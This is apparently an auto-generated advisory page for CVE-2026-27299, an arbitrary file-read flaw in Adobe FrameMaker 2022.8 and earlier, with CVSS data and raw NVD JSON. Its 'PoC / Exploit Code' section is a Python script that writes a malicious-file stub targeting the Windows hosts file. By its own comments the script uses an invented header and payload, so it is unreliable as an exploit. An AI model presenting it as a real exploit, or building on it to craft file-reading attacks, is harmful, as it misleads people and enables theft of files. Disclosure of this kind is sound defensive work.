Security Vulnerability Report
中文
CVE-2026-27299 CVSS 6.3 MEDIUM

CVE-2026-27299

Published: 2026-04-14 23:16:27
Last Modified: 2026-04-15 17:36:31

Description

Adobe Framemaker versions 2022.8 and earlier are affected by an Improper Input Validation vulnerability that could lead to arbitrary file system read. An attacker could leverage this vulnerability to access sensitive files or data on the system. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:framemaker:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe FrameMaker <= 2022.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC Concept for CVE-2026-27299 (Adobe FrameMaker Arbitrary File Read) # This script generates a hypothetical malicious file structure. # Note: Actual exploitation requires knowledge of the specific file format binary structure. import struct def generate_malicious_file(filename, target_path): """ Generates a malicious FrameMaker file attempting to include a reference to target_path. """ with open(filename, 'wb') as f: # Hypothetical header for a FrameMaker document header = b'\x00\x00\x00\x01MakerFile' f.write(header) # Hypothetical payload injecting a path traversal or file include directive # In a real scenario, this would be a specific opcode or XML tag payload = f"FILE_REF:{target_path}".encode('utf-8') # Write length prefix and payload f.write(struct.pack('>I', len(payload))) f.write(payload) print(f"[+] Generated malicious file: {filename}") print(f"[+] Target file to read: {target_path}") if __name__ == "__main__": # Example: Attempting to read Windows hosts file or Linux passwd file target = "C:\\Windows\\System32\\drivers\\etc\\hosts" output_file = "exploit.fm" generate_malicious_file(output_file, target) print("[*] Please open this file in a vulnerable version of Adobe FrameMaker.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27299", "sourceIdentifier": "[email protected]", "published": "2026-04-14T23:16:27.083", "lastModified": "2026-04-15T17:36:30.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Framemaker versions 2022.8 and earlier are affected by an Improper Input Validation vulnerability that could lead to arbitrary file system read. An attacker could leverage this vulnerability to access sensitive files or data on the system. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:framemaker:*:*:*:*:*:*:*:*", "versionEndExcluding": "2022.9", "matchCriteriaId": "6943B816-3A7D-47BF-9E01-DF86C9332C19"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/framemaker/apsb26-36.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}